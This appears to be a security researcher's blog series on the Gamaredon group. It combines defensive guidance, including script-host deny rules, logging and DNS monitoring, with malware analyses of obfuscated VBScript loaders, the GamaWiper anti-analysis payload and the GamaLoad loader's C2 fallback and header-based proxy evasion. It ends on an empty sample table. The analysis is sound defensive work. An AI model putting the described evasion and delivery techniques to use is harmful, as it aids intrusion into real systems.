Defending Against Gamaredon: Practical Controls That Actually Work


by Robin Dost

This is the result of a lengthy analysis and study of the Gamaredon UAC-0010 group. I recommend reading my previous articles for more context.

Defending against Gamaredon is uncomfortable not because the group uses particularly advanced malware, but because it forces defenders to question many assumptions that modern security strategies are built on.

Gamaredon does not rely on sophisticated exploits, stealthy implants or long-lived infrastructure. Instead it operates through large volumes of simple scripts, constantly changing delivery mechanisms and an infrastructure that is designed to burn fast and disappear. Indicators of compromise age out quickly, payloads are interchangeable and even the tooling itself adapts once it becomes the subject of analysis.

Over the past months, tracking Gamaredon has felt less like reverse engineering a malware family and more like observing a process in motion. Loader scripts evolve, obfuscation shifts slightly from wave to wave and infrastructure changes just enough to break automated collection pipelines. At times, analysis environments are actively identified and fed with destructive or misleading payloads, which turns the act of investigation itself into a signal the actor seems to react to.

This makes Gamaredon a poor fit for traditional, indicator driven defense models. Blocking hashes, domains or IP addresses provides short-lived relief at best. By the time a rule is deployed, the campaign maybe has already moved on. What remains stable is not the malware, but the behavior: how access is gained, how scripts are executed, how network communication deviates from normal client behavior and how the actor responds when it detects scrutiny.

This article focuses on defensive measures that have proven effective while actively observing Gamaredon operations in the wild. The goal is not to “out-APT” the attacker, but to break the operational assumptions that Gamaredon relies on: permissive script execution, weak visibility into client behavior and an overreliance on static threat intelligence.

Defending against Gamaredon is less about stopping a specific toolset and more about disrupting a workflow. Once that distinction is understood, the problem becomes significantly more manageable 🙂


What End Users Can Do to Reduce Risk

Remember: Gamaredon does not break into systems. It is invited in

1. Attachments are the attack surface

Gamaredon infects systems through spear phishing. End users who have received appropriate training therefore significantly reduce the risk of infection. Modern phishing campaigns, particularly those operated by actors like Gamaredon, do not rely on obvious deception or complex exploit, they exploit trust in routine actions.
An email attachment that appears harmless is can be nothing more than a delivery mechanism for script execution. Shortcuts, script files or archive formats are are instructions, not documents.

For this reason, email attachments should never be opened impulsively. Files originating from unknown senders, unexpected conversations or unclear contexts must always be routed through a defined analysis workflow. This may include automated malware scanning, sandbox execution or escalation to a SOC or security team for manual review.

Treating attachments as executable content rather than documents removes a core assumption attackers rely on: that a single double-click is enough to gain a foothold.

2. “It looks normal” is not a defense

A common assumption in phishing awareness is that malicious emails will “look suspicious.” Misspelled text, strange formatting or obviously fake senders are warning signs. Campaigns operated by Gamaredon routinely break this expectation.

Many of the emails used in these operations are short, plain and unremarkable. They may not contain any obvious red flags, no unusual wording and no visual elements that stand out. In some cases, the message itself is barely relevant at all. The attachment is the real payload.

Relying on visual cues or intuition to assess whether an email is safe is therefore considered to be ineffective. A file does not need to look dangerous to be dangerous. Shortcuts, script files and archived attachments can appear entirely legitimate while silently triggering code execution in the background.

This is intentional. Gamaredon does not attempt to impress the recipient or convince them emotionally. Instead, it blends into routine communication, where opening an attachment feels like a harmless, almost automatic action.

For this reason, the absence of suspicious indicators are better off never be treated as confirmation of safety. Normal looking emails are not evidence of harmless content, they are often the environment in which these campaigns are most successful.

3. Why double-clicking is dangerous

Most people treat double-clicking as a harmless, almost meaningless action. It is how you open a document, check an image,or quickly look at a file someone sent you. From a usability perspective, that makes sense. From a security perspective, it is exactly the problem.

Not every file is a document! Many files are nothing more than instructions telling Windows to execute other programs, run scripts or fetch additional content from the internet. When you double-click those, you are not “previewing” anything. You are actively starting a process chain.

What makes this especially effective is how unspectacular it looks. In many Gamaredon cases the initial file does almost nothing visible. Maybe a window flashes, sometimes nothing happens at all. From the users point of view, that feels like a failed or broken attachment. From the attackers POV the important part already happened: code execution in user context.

This is not accidental. Gamaredon does not need the first file to be powerful. It only needs it to run. The rest can be downloaded, replaced or updated later. The initial step is small, quiet and easy to overlook.

That is why “just opening it to see what it is” is not a safe strategy. With many attachment types, execution is the first and only action. There is no confirmation dialog, no warning and no visible sign that anything meaningful happened until much later, when the real payload is already in place.

tldr: double-clicking is not a neutral action. It is a trust decision and attackers like Gamaredon build their entire delivery chain around the assumption that this trust will be given automatically. Gamaredon can be avoided if you stop trusting the files you are about to open .
As Lenin said “доверяй, но проверяй” 😉

4. Update. Update. Update.

Always keep the software on your system up to date. Gamaredon has actively exploited real-world vulnerabilities, for example a WinRAR vulnerability “CVE-2025-6218” observed in campaigns since late 2025.

This vulnerability allows an attacker to place a malicious file into the Windows startup folder when an archive is opened or extracted. The user may only see a normal archive being unpacked, while persistence is already being established in the background and the system becomes infected after the next reboot. This is exactly the kind of low-effort, high-impact technique that fits Gamaredons operational model.

Keeping your software updated, especially tools that handle downloaded files such as archive managers, removes entire classes of attack techniques.

5. When to escalate

One of the most reliable defenses attackers have is silence.
Not because nothing happened, but because users assume that whatever happened is probably not important enough to bother anyone with.

“This file didn’t open properly”
“The window flashed and disappeared”
“Nothing seems broken so it’s probably fine”

From the perspective of an attacker, this is perfect. Initial access does not necessarily need to be loud, it only needs to be unnoticed.

The first-stage file doesn’t display an error message, ransomware screen or any obvious sign of compromise. It executes, exits and waits for the next step. If no one reports it, there is nothing to investigate, nothing to contain and nothing to learn from.

Users hesitate to report something because they do not want to be wrong, do not want to interrupt anyone or assume that security teams only care once things are clearly broken. Unfortunately, by the time something is clearly broken, the attacker has already achieved most of their objectives.

From a defensive POV the ideal time to escalate is when you are unsure whether something must have happened at all and not when you are sure something malicious happened.

If an attachment behaves strangely or if a file does not open as expected, if a website triggers download you did not request or if anything simply feels off, that is already enough reason to report it. Security teams do not need certainty. They need signals.
It’s better to report one more false positives to your security team then not reporting it.

Yes, most reports will turn out to be harmless. That is fine. What is not fine is missing the few cases that actually matter because no one wanted to be the person who raised a false alarm.

tldr: if something looks broken, weird or pointless, that is not a reason to ignore it. That is exactly when escalation is supposed to happen. The worst possible outcome of reporting is a short investigation. The worst possible outcome of not reporting is an attacker quietly staying in your network.


Defensive Controls for System and Network Administrators

1. Kill the script layer

Gamaredons operations depend almost entirely on script-based execution. VBScript, JS, HTA files and shortcut-based loaders are the foundational tools. Without the ability to execute scripts in user context, the majority of observed Gamaredon infection chains fail before any payload is delivered.

This makes the script execution layer a highly effective choke point for defenders.

In many environments, script interpreters such as wscript.exe, cscript.exeor mshta.exe are still broadly available to all users, despite having little to no legitimate business use. From an attacker’s perspective, this provides a reliable and low-friction execution environment that does not require exploits, elevated privileges or complex tooling.

Restricting or disabling these components significantly raises the cost of an attack. Blocking mshta.exe entirely, enforcing execution policies for VBScript and JScript and preventing script execution from user-writable locations such as Downloads, Tempor profile directories removes a critical assumption Gamaredon relies on: that scripts will execute by default.

Where complete blocking is not feasible, strict allow-listing needs to be applied. Script execution should be limited to known, signed,and explicitly required use cases. Everything else should fail closed.

It is important to note that this is not merely a prevention measure, but also a detection opportunity. Script-based attacks are very noisy at the process level. Parent-child relationships such as email clients spawning script hosts or shortcut files launching interpreters provide strong, behavior based signals that are far more stable than file hashes or domains.

Defenders mostly focus on detecting the final payload. Against Gamaredon, this approach is too late. By the time a second stage binary is downloaded, the attacker has already achieved their primary goal: execution. Eliminating or tightly controlling the script layer prevents this first and most critical step.


Option 1: Disable mshta.exe

mshta.exe has virtually no legitimate use in modern enterprise environments and is heavily abused by Gamaredon

Applocker

Path Rule: Deny

%SystemRoot%\System32\mshta.exe
%SystemRoot%\SysWOW64\mshta.exe

Action: Deny

User: Everyone

>> Click Create new Rule

>> Click Continue

>> Click Continue

>> Select Path; Click Continue

Filename: %SystemRoot%\System32\mshta.exe

>> Click Create

>> Click Yes

If you had no rules before, it will look like this:

Software Restriction Policies

Legacy but effective

  1. Open gpedit.msc
  2. Computer Configuration
    > Windows Settings
    > Security Settings
    > Software Restriction Policies
  3. Create New Path Rule
  4. Path C:\Windows\System32\mshta.exe
  5. Security Level: Disallowed

Repeat for SysWOW64


Option 2: VBS and JS Restriction

Disable Windows Script Host (WSH), this disables wscript.exe and cscript.exe

Registry (GPO-friendly)
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Script Host\Settings]
"Enabled"=dword:00000000

if you want to re-enable

"Enabled"=dword:00000001

This alone stops most VBS- and JS-based Gamaredon loaders.
It’s also a good defense against other Threat Actors, since Gamaredon is not the only one to use the methods

You can also do this per user btw:

[HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings]
"Enabled"=dword:00000000


Option 3: Block Script Exec from User-Writable Paths

Gamaredon relies on execution from:

  • Downloads
  • %TEMP%
  • %APPDATA%
  • Email attachment paths

Apply to:

  • .vbs
  • .js
  • .hta
  • .lnk

Prevents double-click execution even if scripts are not fully disabled


Option 4: If Blocking is impossible – Make It Visible

Some environments cannot fully disable scripts. In that case, visibility is mandatory.

Enable Script Block Logging:

Computer Configuration
> Administrative Templates
  > Windows Components
    > Windows PowerShell

Enable:

  • Turn on Script Block Logging
  • Turn on Module Logging

Enable Command Line Proccess Auditing

Computer Configuration
> Administrative Templates
  > System
    > Audit Process Creation

Enable:

  • Include command line in process creation events

This enables:

  • Event ID 4688
  • Parent/Child relationships:
    • outlook.exe > wscript.exe
    • explorer.exe > mshta.exe


Option 5: YARA on Email Attachments

One of the most effective defensive layer that is underestimated in Gamaredon-style campaigns is attachment scanning at the email gateway using YARA rules.

A large part of Gamaredons initial access relies on script-based loaders delivered directly as attachments (HTA, VBS, JS, LNK) most of the time inside archives (abusing Winrar CVE since end of 2025), scanning files before they ever reach the user can break the infection chain at the earliest possible stage.

YARA is particularly useful here because it does not rely on file hashes or exact filenames. Structural patterns, script constructs and typical obfuscation techniques tend to remain relatively stable even when the surrounding delivery changes. That makes YARA a good fit for detecting families of loaders rather than individual samples.

Applied at the mail gateway or in attachment processing pipelines, YARA rules can prevent execution entirely instead of trying to detect activity after the user already clicked the file. From a defensive POV, that is always the better place to intervene.

I maintain a set of YARA rules specifically focused on Gamaredon loader patterns, including HTA- and VBScript-based stages observed from older and recent campaigns. These rules are meant for legitimate research and defensive use. If you are working in a security or incident response context and want to test or deploy them, feel free to contact me and I can provide them for evaluation and tuning.

YARA will not stop infrastructure shifts or payload changes, but it is very effective at removing large parts of the delivery layer that Gamaredon depends on. Combined with script execution controls and network visibility (read above), it significantly reduces the attackers room to operate.


Option 6: Shortcut (LNK) Abuse Mitigation

Gamaredon frequently abuses .lnk files as script launchers.

Controls:
  • Block .lnk execution from email attachment paths
  • Alert on:
    • LNK spawning wscript, mshta, powershell
  • Disable preview handlers for LNK in mail clients if possible


Visibility beats prevention

At minimum, you need to have visibility into:

  • wscript.exe (classic VBS/JS execution)
  • cscript.exe (same, console version)
  • mshta.exe (HTA execution, including embedded VBScript/JS)
  • powershell.exe (still relevant, second stage)

But execution alone is only half of the picture here.
In Gamaredon campaigns script hosts are usually paired with built-in Windows networking components, MSXMLHTTP.

Inside the script, outbound communication is handled via this compnents (mostly):

  • MSXML2.XMLHTTP
  • MSXML2.ServerXMLHTTP

From the outside, this generally looks like a normal process making web requests. There is no external downloader, no suspicious binary and no obvious command line indicator, since everything happens inside the script host process itself.

That means defenders should not only care that a script host started, but also whether that process immediately initiated network connections. Script execution without network activity might be a test or a failure. Script execution followed by HTTP traffic is the actual attack.

If your telemetry cannot correlate:

  • script execution
  • with outbound connections
  • and with the destination domain or IP

then you are missing the exact phase where Gamaredon (or other Threat Actors) transitions from initial access to payload delivery.

tldr; seeing the script start is useful. Seeing the script talking to the internet is what actually tells you that the infection chain is active

Alert on Parent-Child Process Chains, Not on Filenames

Gamaredon changes filenames constantly. That is not where stability is.

What does not change:

  • Email client -> script host
  • Explorer -> shortcut -> script host
  • Script host -> network activity

Those relationships are far more reliable than any hash or URL

If your detection logic is still focused on “known bad files”, you are solving yesterdays problem. Behavior survives infrastructure rotation … but IOCs do not

Treat Failed Infections as Intelligence, Not as Non-Events

One of the more frustrating patterns when tracking Gamaredon is how many times infection attempts partially fail. The loader runs, the payload is blocked or the network request never completes.

From an incident-response POV it could be treated as “problem solved”.

From an intelligence perspective, i think that it’s a gift.

Those events tell you:

  • Which attachment types are used
  • Which execution paths are attempted
  • Which infrastructure is currently active

If you only investigate successful infections, you will always be late. The campaigns that fail today are the ones that succeed tomorrow with minor adjustments. If you understand Gamaredon properly, you can always be a step ahead.

Accept That Something Will Slip Through – Just Plan Around That

Perfect prevention is a nice idea, but ideas are just ideas. It is not how real environments work.

Gamaredon does not need persistence for months. It needs minutes of execution. If those minutes go unnoticed, the damage is already done, regardless of whether the payload later gets removed.

Your defensive strategy needs to assume:

  • Some scripts will execute
  • Some attachments will be opened
  • Some rules will be bypassed

The question here is whether anyone notices in time to react.

Visibility does not replace prevention at all. But without visibility, prevention failures become silent compromises. And silent compromises are exactly what this actor benefits from. You could say that visibility complement your prevention efforts.


Network controls that matter

From a network POV, Gamaredon is not noisy. It does not deploy custom backdoors that beacon every few seconds and it does not rely on exotic protocols. Most of the traffic is simple http(s) generated directly from scripts using tools like MSXML2.XMLHTTP.

That has two important consequences for defenders.

First, there is no separate downloader process to catch.
The same process that executed the script is now making web requests. Just mshta.exe or wscript.exe talking to the internet like a perfectly normal Windows application.

Second, many network controls are designed around detecting known bad destinations, not suspicious clients. If you only look at where traffic goes, but not who is sending it and under which circumstances, you miss the entire initial delivery phase.

For Gamaredon style campaigns network defense has to focus on context, NOT just destination.

Correlate Network Traffic With Process Activity

If a script host executes and immediately initiates outbound connections, that is not normal workstation behavior.

At minimum, be able to answer:

  • Which process opened the connection?
  • What launched that process?
  • What file triggered the execution?

MSXMLHTTP-based traffic will look perfectly legitimate on the wire unless you know it came from a script that just executed from a mail attachment.

Normalize Outbound HTTP Behavior

One of the more uncomfortable lessons when tracking Gamaredon is that attackers actively use network behavior itself as a detection mechanism.

In several waves, delivery depended on whether certain headers, (in the latest Gamaload Samples) especially Content-Length, matched what the script originally set. Many commercial proxy setups modify requests by:

  • re-encoding bodies
  • switching between chunked and fixed-length transfers
  • inspecting and rewriting traffic

From the attackers side, that becomes a cheap and reliable way to identify analysis environments and block payload delivery.

Defensively, this means:

  • Outbound traffic needs to be as predictable and uniform as possible
  • Proxy behavior should be consistent across user and analysis environments
  • Sudden header manipulation should be considered a detection signal, not just a networking detail!!!

Otherwise, you end up with the worst possible situation:
real users get infected, while analysis systems receive fake or destructive payloads


DNS as a detection surface

Treat DynDNS and Low-Rep Domains as High-Risk by Default

Gamaredon infrastructure heavily relies on:

  • dynamic DNS providers
  • rapidly changing subdomains
  • short-lived hosting setups

Blocking individual domains is pointless. They rotate too fast. What does not change is the type of infrastructure being used.

From a defensive standpoint, this means:

  • DynDNS traffic has to be restricted, monitored or at least flagged
  • Newly registered domains should not be treated the same as established ones
  • DNS telemetry is worth as part of detection logic, not just resolution

If your network policy implicitly trusts any domain that resolves, you are trusting exactly the layer Gamaredon is built on

What to Monitor Instead of Chasing Domains

DNS telemetry provides several signals that remain useful even when infrastructure rotates:

  • Domain age
    Newly registered domains should be treated different from domains that have existed for years. Many Gamaredon delivery endpoints fall into the “new/very new” category.
  • Provider patterns
    Certain DynDNS and free subdomain services appear repeatedly across campaigns.
  • Subdomain churn
    Rapidly changing subdomains under the same parent domain are a common pattern. This is not normal behavior for most legitimate services used by end users.
  • NXDOMAIN spikes
    Failed dns lookups shortly before successful connections can indicate scripted discovery or fallback logic inside loaders.
    Since this is very common, you can use this as a strong pattern for finding Gamaredon related activity.
    You can detect it, even if timeouts and sleeps are enabled.

None of these signals alone prove malicious intent itself, but together they describe infrastructure behavior that is/could be highly consistent with how Gamaredon operates.
Once this dynamic is understood, the operational flexibility that makes Gamaredon effective becomes a liability that defenders can exploit 🙂

Restriction Beats Blacklisting

If possible, access to high-risk DNS categories have to be restricted by policy, not just monitored.

This can include:

  • blocking or limiting known DynDNS providers
  • forcing additional inspection or logging for low-reputation domains
  • isolating traffic to newly registered domains

The goal is not to eliminate all risk (that is unrealistic) but to reduce the attackers ability to operate entirely in disposable infrastructure without triggering any response.

Gamaredon depends on infrastructure that can be replaced quickly and cheaply. Defensive strategies have to make that approach operationally expensive instead of operationally invisible.

DNS Is Not Just Plumbing

In many environments, DNS is treated as a purely technical service: something that resolves names and moves on. From a threat detection perspective, that is a wasted opportunity.

DNS shows:

  • where systems are trying to go
  • how often endpoints change
  • whether communication targets look stable or disposable

Especially in script-driven infection chains, DNS can be the first external signal that something has moved from local execution to external communication.

If DNS data is not included in your detection logic, then a large portion of Gamaredon activity will look like harmless background traffic until much later in the attack chain.

In my opinion, proper DNS logging should always be included a defensive strategy, regardless of which threat actor you are dealing with.


Prepare for anti-analysis

One thing that becomes obvious to me when tracking Gamaredon over time is that they do not just try to avoid detection, they actively react to analysis.

Payload delivery and script behavior can change depending on the environment. Analysis systems may receive different payloads, broken samples or nothing at all, while real victims get fully functional stages. What you see in a sandbox is not always what happens in the wild.

This means relying on a single analysis setup is risky. If all samples run through the same sandbox, the same proxy and the same network profile, that environment becomes easy to fingerprint and easy to avoid.

Analysis systems should look as boring and realistic as possible.

The takeaway from my analysis is simple: when the attacker adapts to being observed, your analysis pipeline becomes part the attack surface. If you do not account for that, you may be analyzing exactly what the attacker wants you to see


More information

If you want to know more about Gamaredn, check out my latest articles:

Gamaredon: Same Goal, Fewer Fingerprints


by Robin Dost

In malware analysis, it is tempting to describe change as innovation.
New tricks, new tooling, new malware families.
What is far more revealing, however, is how little actually changes and what changes anyway.

Between late November and the end of December 2025, several Gamaredon-related VBScript loaders surfaced that are, functionally, almost identical. They all execute the same mechanism, rely on the same execution primitive, and ultimately aim for the same outcome.

And yet, something does change, quietly, incrementally, and very deliberately.

This article focuses strictly on observable, concrete shifts in obfuscation, not assumptions, not intent inferred from tooling, and not architectural leaps that are not supported by the samples themselves.

For this analysis, I used the following samples:

Date of SampleHashDownload
19.12.20256de9f436ba393744a3966b35ea2254dde2f84f5b796c6f7bee4b67ccf96ccf0aDownload
22.12.20259218528a40a48a3c96df3b49a7498f6ea2a961f43249081b17880709f73392c1Download
25.12.20252c69fd052bfaa03cd0e956af0f638f82bc53f23ee8d0c273e688e257dac8c550Download
30.12.2025846748912aa6e86b9d11f6779af6aae26b7258f8610d5e28eff0083779737824Download


25 November 2025 – Noise Without Structure

The earliest sample is dominated by volume.

Characteristics:

  • Hundreds of variables that are written to once and never read again
  • Repeated arithmetic mutations (x = x + 14) without semantic relevance
  • Long linear execution flow
  • No variable declarations (Dim entirely absent)

The obfuscation here serves one purpose only: syntactic noise.

There is no attempt to:

  • Hide control flow
  • Delay string resolution
  • Reconstruct logic conditionally

Everything is present in the source, just buried under irrelevant assignments.

From an analyst’s perspective, this sample is noisy but predictable.
Once dead code is ignored, execution logic collapses into a short, linear sequence.


19 December 2025 – Indicator overload

The mid-December sample introduces a clear and measurable change: indicator density.

New observations:

  • A significant increase in hard-coded URLs
  • URLs pointing to unrelated, legitimate, and state-adjacent domains
  • No execution dependency on most of these URLs

Crucially, these URLs are not obfuscated. They are placed in plain sight.

This is not string hiding it is indicator flooding.

The obfuscation shift here is not technical complexity, but analytical friction:

  • Automated extraction produces dozens of false leads
  • IOC-based clustering becomes unreliable
  • Manual triage cost increases without changing execution logic

The loader still behaves linearly. What changes is the signal-to-noise ratio.


22 December 2025 – Defensive Reaction at the Payload Layer

The December 22 sample is not an obfuscation milestone, but it is a defensive one.

From a loader perspective, almost nothing changes:

  • The download URL is fully present and statically recoverable
  • No additional string hiding or control-flow manipulation is introduced
  • Execution remains linear and transparent

However, focusing solely on loader complexity misses the actual shift.

The real change happens at the payload layer

For the first time in this series, the loader delivers GamaWiper instead of Pterodo for Analysis environments.

This is not a neutral substitution.

As outlined in my earlier analysis of GamaWipers behavior, this payload is explicitly designed to:

In other words:
Gamaredon reacts defensively, just not in the loader yet.

Why obfuscation does not increase here

The absence of additional loader obfuscation is not a contradiction, but a signal.

At this stage:

  • The defensive burden is shifted entirely onto the payload
  • The loader acts as a transparent delivery mechanism
  • Analysis deterrence is achieved through destructive behavior, not concealment

This suggests a deliberate sequencing:

  1. Introduce a hostile payload to counter analysis
  2. Observe detection and response
  3. Only then begin hardening the delivery mechanism itself

Why this sample matters

~ December 22 marks the point where Gamaredon stops merely being observed and starts actively responding.

Not by hiding better, but by ensuring that seeing the payload has consequences.

The subsequent increase in loader obfuscation after this date does not replace this strategy.
It complements it.

Payload hostility first.
Delivery hardening second.

Notably, this change occurs almost exactly four weeks after my article outlining practical approaches to tracking Gamaredon infrastructure went public.
Whether coincidence or feedback loop, the timing aligns remarkably well with the first observed deployment of GamaWiper as an anti-analysis response.


25 December 2025 – Control-Flow Noise Appears

The Christmas sample does not introduce new primitives, but it does introduce execution ambiguity.

Concrete changes:

  • Multiple .Run invocations exist
  • Not all of them result in meaningful execution
  • Several objects and variables are constructed but never used
  • Execution order is less visually obvious

This is not branching logic, but control-flow camouflage.

The analyst can still reconstruct execution, but:

  • Dead paths look plausible
  • Execution sinks are no longer unique
  • Automated heuristics struggle to identify the real one

The obfuscation no longer targets strings, it targets execution clarity.


30 December 2025 – Fragmented Runtime Assembly

The final sample introduces the most tangible structural changes.

Observed differences:

  • Systematic use of Dim declarations
  • Extensive use of short, non-semantic string fragments
  • Assembly of execution-relevant strings via repeated concatenation across distant code sections
  • No complete execution string exists statically
  • Domains are just random invalid Domains

At no point does the full execution command exist as a contiguous value in the source.

Instead:

  • Fragments are combined
  • Recombined
  • Passed through intermediate variables
  • Finalized immediately before execution

This directly degrades:

  • Static string extraction
  • Signature-based detection
  • Regex-driven tooling

No encryption is added.
The shift is purely architectural.


05 January 2026 – Added Datetime Parameter to URL

EDIT 07.01.2026: I added this part as new findings appeared

Since early January, another small but relevant change appeared in the loader logic.

The scripts now generate a date value at runtime:

This value is then embedded directly into the download path, resulting in URLs like:

.../UkrNet_02.01.2026/cutting/02.01.2026/hannah8342.pdf

From a detection standpoint, this is subtle but effective

This means:

  • payload paths change daily
  • static URL signatures age out immediately
  • and IOC reuse across campaigns becomes unreliable

Relation to Prior Observations

This behavior aligns closely with patterns discussed in my earlier article on GamaWiper and Gamaredon’s anti-analysis strategies, where delivery behavior adapts based on perceived execution context.

https://blog.synapticsystems.de/gamawiper-explained-gamaredon-anti-analysis/


What Actually Changed and What Did Not

What did not change:

  • Execution primitive
  • Loader purpose
  • Overall delivery mechanism

What did change:

  • When execution-relevant strings become complete
  • How many false execution paths exist
  • How much irrelevant context surrounds the real logic

This is not a rewrite.
It is iterative hardening.


Conclusion

These samples do not demonstrate innovation.
They demonstrate attention.

Each iteration removes one assumption analysts rely on:

  • “The string will exist somewhere”
  • “The execution path is obvious”
  • “Dead code looks dead”

Gamaredon did not add complexity for its own sake.
They added just enough friction to slow analysis and then stopped.

And that restraint is, in itself, the most telling signal.

GamaWiper Explained: Gamaredon’s “New” Anti-Analysis Weapon


by Robin Dost

After my recent blog posts covering Gamaredon’s ongoing PterodoGraph campaign targeting Ukraine, and following almost a full month of silence in terms of newly observed malware samples, fresh activity has finally resurfaced.

New samples have appeared, along with reports pointing to a component now referred to as GamaWiper.

It is important to note that GamaWiper, or at least very similar scripts has already been observed in Gamaredon operations in previous months.
From a purely technical standpoint, this functionality is therefore not entirely new.

What is new, however, is the context in which it is now being deployed.

In this article, I aim to shed some light on what GamaWiper actually is, why Gamaredon is actively delivering it at this stage of the infection chain, and what this shift tells us about the group’s current operational mindset.
What initially appears to be just another destructive payload instead turns out to be a deliberate control mechanism, one that decides who receives the real malware and who gets wiped instead

I’ll keep this post a bit shorter and focus only on what’s new, so it doesnt get boring.
If you’re looking for deeper technical details, please refer to my previous posts from 22.11.2025 and 13.11.2025, where I covered the core mechanics in depth.

For this analysis, I’m using my deobfuscated version of the sample, next time i’ll maybe show you how to deobfuscate Gamaredon Scripts manually in less then 10 minutes.

After downloading the latest Gamaredon malware sample, it immediately became obvious that the current variants differ noticeably from what we’ve seen before.

SHA256: 6de9f436ba393744a3966b35ea2254dde2f84f5b796c6f7bee4b67ccf96ccf0a

Note: I started writing YARA Rules for Gamaredons current samples, you can find them here.


Key Changes at a Glance

  • Junk URLs now closely resemble real payload delivery URLs
  • No full Pterodo payload is delivered anymore 🙁
  • Gamaredon has hardened the delivery of Pterodo samples

Infection Flow – What Changed?

After the user opens the RAR archive and infects their system, the behavior initially looks familiar.
On reboot, the Pterodo sample is fetched again, but only if the client is geolocated in Ukraine, as already mentioned in my previous blog posts.

Previously, non-UA clients would simply receive:

  • an empty page, or
  • an empty file

Today, however, things look a bit different.

Instead, the client receives GamaWiper.


GamaWiper – Sandbox? Gone.

GamaWiper is essentially a sandbox / VM killer whose sole purpose is to prevent analysis environments from seeing anything useful.

In earlier campaigns, this wasn’t always handled very well.
For example, when I used Hybrid-Analysis, it was trivial to extract:

  • Telegram channels
  • Graph URLs
  • infrastructure relationships

This was a classic infrastructure design flaw and a great example of what budget cuts can do to an APT operation 😄

Today, however, the approach is much simpler:

If a sandbox is detected -> wipe it

No telemetry, no infrastructure leaks, no fun.

If you are a doing legit malware research interested in (deobfuscated) Samples from Gamaredon, you can write me an email.


Initial Loader: “GamaLoad”

The initial loader, which I’ll refer to as GamaLoad, implements a multi-stage payload fetch mechanism with dynamically constructed URLs and headers.
The goal is resilience: fetch stage two no matter what.

Note: All malicious domains have been removed.


Request Characteristics

Request Type

  • Method: GET
  • Client: msxml2.xmlhttp
  • Execution: synchronous

URL Structure

Each request fetches a randomly generated resource:

/<random>.<ext>
  • Random filename: 7-10 characters (a-z, 0-9)
  • Camouflage extensions, e.g.:
    • wmv
    • yuv
    • lgc
    • rm
    • jpeg

C2 Fallback Order

The script iterates through multiple sources until a valid payload is received:

  1. Argument URL (if passed at execution)
  2. Hardcoded fallback
  3. Cloudflare Workers domain
  4. Domain fetch using @ notation
  5. Abuse of the URL userinfo field
  6. Dynamic host via check-host.net
    • HTML parsing
    • live host extraction
  7. Alternative domain (again using @ notation)
  8. Registry-based URL

Once a working C2 is found, it is stored as a persistent C2 entry.


HTTP Headers

The request uses very explicit and intentionally crafted headers.

User-Agent

A browser-like string combined with a host fingerprint, including:

  • Computer name
  • Drive serial number (hex-encoded)
  • Timestamp
    • UTC+2
    • Ukrainian local time expected

Cookie

  • Static campaign identifier
  • Rotates regularly (more on that below)

Content-Length

  • Explicitly set
  • Even for GET requests

Enables victim identification & tracking
Also plays a role in proxy evasion (see below)


Success Condition

A request is considered successful when:

  • HTTP status is 200
  • Response size is greater than 91 bytes

Once this condition is met, all remaining fallbacks are skipped.


Payload Processing

  1. Payload received as binary
  2. UTF-8 conversion
  3. Cleanup (CR/LF, delimiters)
  4. Base64 decoding
  5. In-memory execution

No disk writes – classic fileless execution


Evasion Techniques

  • Multi-stage fallback logic
  • Dynamic hosts
  • Delays between requests
  • Victim-specific User-Agent

Below is an example of a fully constructed request header sent to the payload delivery host.


Payload Rotation

Gamaredon currently rotates payloads every 1-3 hours.

With each rotation, the following variables may change:

  • Domains for Payload Delivery
  • User-Agent
  • Cookie
  • Content-Length

Why Is Content-Length Set?

The Content-Length HTTP header specifies the size of the request or response body in bytes.
Its typical purpose is:

  • Defining message boundaries
  • Preventing truncated reads
  • Enabling correct stream handling

In this case, however, I strongly believe the header is set intentionally for tracking and proxy evasion.

Why?

The loader uses msxml2.xmlhttp.
When calling .send() via this client, the Content-Length header is not overwritten.

For a normal residential client, this is usually not an issue.
However, many HTTP/HTTPS proxies, especially residential and chained proxies fail to handle this properly and may:

  • break the connection
  • modify the request
  • normalize headers

This behavior is highly detectable.

My conclusion:
Gamaredon likely uses this mechanism to filter out proxy-based analysis setups.
The choice of client and header behavior is far too specific to be accidental.

So, if you end up receiving GamaWiper instead of a payload, now you know why.


Conclusion

Gamaredon has clearly tightened its operational security.

The infrastructure flaws that previously allowed easy extraction of internal details have been addressed, and sandbox detection has shifted from “leaky but useful” to “wipe and move on”.

While these changes will certainly disrupt some tracking and automated analysis systems, the overall approach feels… let’s say pragmatic, but somewhat heavy-handed.

Effective?
Yes.

Elegant?
Debatable 😄


Inside Gamaredon 2025: Zero-Click Espionage at Scale


by Robin Dost


UPDATE 22.12.2025: Gamaredon updated it’s payload delivery infrastructure. You can find more information here.
UPDATE 08.01.2026: If you want to know how to defend against Gamaredon and similar Actors, check out this article.
I also started writing YARA Rules for Gamaredons current samples, if you are a valid security researcher and you need them, send ma an email.
If you are a doing legit malware research interested in (deobfuscated) Samples from Gamaredon, you can write me an email aswell.

Campaign Summary

  • Timeframe: February – November 2025
  • 37 analyzed samples
  • New zero-click infection vector -> CVE-2025-6218
  • New C2 architecture: DynDNS + Fast-Flux + Telegram + graph.org
  • Two-stage geo-fencing + header firewall
  • Pteranodon as the central Stage-2 loader
  • Server-side registration required for deeper payload access

As the year slowly crawls toward its inevitable end (like certain Russian infrastructure), it’s a good moment to take another detailed look at Gamaredon’s ongoing phishing campaign targeting Ukraine.

I’ve previously published a high-level overview of this campaign, you can check that article out if you want the “lite” version.
Today, however, we’re digging deeper: how to untangle the FSB’s infrastructure for this operation and how we managed to extract additional payloads directly from their servers with varying degrees of cooperation from Microsoft’s RAR parser.

A quick thank-you goes out to my brother Ramon, who assisted especially in retrieving additional payloads from Gamaredon’s backend. Family bonding through state-sponsored malware analysis, truly heartwarming.

Dataset Overview

For this analysis, I organized all samples into a structured table divided into Stage-1 and Stage-2 to Stage-X artifacts.

  • Stage-1 samples are the actual phishing attachments delivered to victims (HTA, LNK, RAR archives).
  • Stage-2 to Stage-X samples represent everything the Gamaredon infrastructure subsequently downloads once the initial loader executes or the vulnerability is triggered.

Each entry contains:

  • Filename: original name taken from the email attachment or payload
  • Hash: SHA-256 fingerprint for verification
  • Dropped Files: anything extracted or written by the sample (HTA/PS1 loaders, Pteranodon modules, persistence scripts, etc.)

This allows us to map the infection chain fully, from the very first email to the deeper payload ecosystem sitting behind Gamaredon’s firewall-like C2 logic.

In total, we analyzed 37 samples for this write-up.

Stage 1 Samples (Click to open)

SampleHashDropped Files
